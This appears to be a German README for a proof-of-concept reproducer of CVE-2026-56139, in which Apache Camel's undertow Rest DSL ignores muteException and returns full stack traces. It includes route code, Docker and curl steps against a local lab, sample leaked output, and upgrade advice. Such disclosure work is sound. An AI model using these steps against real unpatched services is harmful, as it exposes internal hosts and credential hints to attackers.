
PoC-Reproducer für CVE-2026-56139 (Apache Camel camel-undertow Rest DSL): Die Rest-DSL-Bindung hard-codiert muteException=false, sodass ein konfiguriertes muteException=true ignoriert wird und eine nicht abgefangene Ausnahme ihren vollständigen Stack-Trace an den Client zurückgibt (CWE-209). Behoben in 4.14.8/4.18.3/4.21.0.
Dieses Projekt demonstriert eine Schwachstelle zur Offenlegung von Informationen im camel-undertow-Rest-DSL-Consumer von Apache Camel, die als CVE-2026-56139 verfolgt wird. Die Option muteException steuert, ob die Details einer nicht abgefangenen Verarbeitungsausnahme an den HTTP-Client zurückgegeben werden. Bei einem einfachen Undertow-Endpunkt funktioniert die Option — aber die Undertow-Rest DSL erstellt ihr Response-Binding mit muteException hartkodiert auf false und kopiert den konfigurierten Wert nie, sodass muteException im REST-Modus stillschweigend ignoriert wird und der vollständige Java-Stacktrace trotzdem zurückgegeben wird:
// UndertowComponent (affected 4.18.2) — the Rest DSL binding is created without the endpoint's muteException
if (!map.containsKey("undertowHttpBinding")) {
endpoint.setUndertowHttpBinding(new RestUndertowHttpBinding(endpoint.isUseStreaming())); // muteException stays false
}
Da undertowHttpBinding des Endpunkts nun nicht mehr null ist, gibt UndertowEndpoint.getUndertowHttpBinding() dieses Rest-Binding unverändert zurück und führt den Zweig, der die muteException des Endpunkts darauf kopiert, niemals aus. Eine Route, die explizit muteException=true setzt, gibt also weiterhin Stacktraces preis, wenn sie über die Rest DSL bereitgestellt wird — und legt dabei interne Backend-Hostnamen, Datenbank-URLs, Hinweise auf Anmeldedaten/Vaults, Bibliotheksversionen und Quellcode-Stellen offen.
Dieser PoC veranschaulicht die Auswirkung als Informationspreisgabe über eine Fehlermeldung (CWE-209). Er ist das Rest-DSL-spezifische Gegenstück zu CVE-2026-49365 (das den muteException-Standardwert für einfache camel-netty-http- und camel-undertow-Endpunkte korrigierte); beide wurden gemeinsam unter CAMEL-23651 behoben.
Sicherheitshinweis: https://camel.apache.org/security/CVE-2026-56139.html
| Eigenschaft | Wert |
|---|---|
| Komponente | camel-undertow (Rest-DSL-Consumer) |
| Betroffene Klasse | org.apache.camel.component.undertow.UndertowComponent — erstellt RestUndertowHttpBinding, ohne muteException zu kopieren (die daher standardmäßig false ist) |
| CWE | CWE-209 (Generation of Error Message Containing Sensitive Information) |
| Auswirkung | Vollständiger Java-Stacktrace wird an einen nicht authentifizierten Client zurückgegeben, selbst wenn muteException=true konfiguriert ist |
| Voraussetzungen | Ein Undertow-Rest-DSL-Consumer; jede Anfrage, die eine Verarbeitungsausnahme auslöst |
| Betroffene Versionen | Von 4.0.0 bis vor 4.14.8, von 4.15.0 bis vor 4.18.3, von 4.19.0 bis vor 4.21.0 |
| Behobene Versionen | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23651 (PR apache/camel#23913) |
| Danksagung | Yu Bao (PayPal) |
Der Fix sorgt dafür, dass der Rest-DSL-Pfad
endpoint.getMuteException()in dieRestUndertowHttpBindingkopiert, sodass die Rest DSL die Einstellung berücksichtigt (sowie die korrigierte Standardeinstellungtrue).
// Both configured with muteException=true (camel.component.undertow.mute-exception=true):
restConfiguration().component("undertow").host("0.0.0.0").port(8888);
rest("/api").get("/orders").to("direct:boom"); // Rest DSL — IGNORES muteException, leaks
from("direct:boom").process(new FailingProcessor());
from("undertow:http://0.0.0.0:8889/plain/orders") // plain endpoint — HONOURS muteException, empty body
.process(new FailingProcessor());
CVE-2026-56139/
├── pom.xml # camel-undertow 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FailingProcessor.java # throws an exception carrying sensitive internal detail
│ ├── RestRoutes.java # undertow Rest DSL (:8888) + plain undertow endpoint (:8889)
│ └── ExploitController.java # attacker: GETs both, shows Rest DSL leaks while plain is muted
└── resources/
└── application.properties # camel.component.undertow.mute-exception=true
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) undertow Rest DSL :8888 (muteException=true, but the Rest binding hard-codes false)
HTTP 500
response body (NNNN bytes) — LEAKS internal detail:
| java.lang.IllegalStateException: Inventory lookup failed: cannot connect to
| jdbc:postgresql://prod-db.internal:5432/inventory (user=svc_inventory, ...)
| at com.example.FailingProcessor.process(FailingProcessor.java:...)
| ...[truncated]
2) plain undertow endpoint :8889 (same muteException=true — honoured)
HTTP 500
response body: <empty>
>>> Information disclosure: true
Aktualisieren Sie auf 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23651). Nach dem Upgrade berücksichtigt die Undertow-Rest-DSL muteException (und setzt sie standardmäßig auf true), sodass der Stacktrace nicht mehr zurückgegeben wird.
Fügen Sie bis zum Upgrade einen onException(...).handled(true)-Handler (oder einen globalen Fehlerbehandler) hinzu, der eine generische Meldung anstelle des Stacktraces zurückgibt, und verlassen Sie sich bei Undertow-Rest-DSL-Consumern nicht allein auf muteException.
Dieser Reproducer wird ausschließlich für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich bekannt gegebene und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Genehmigung.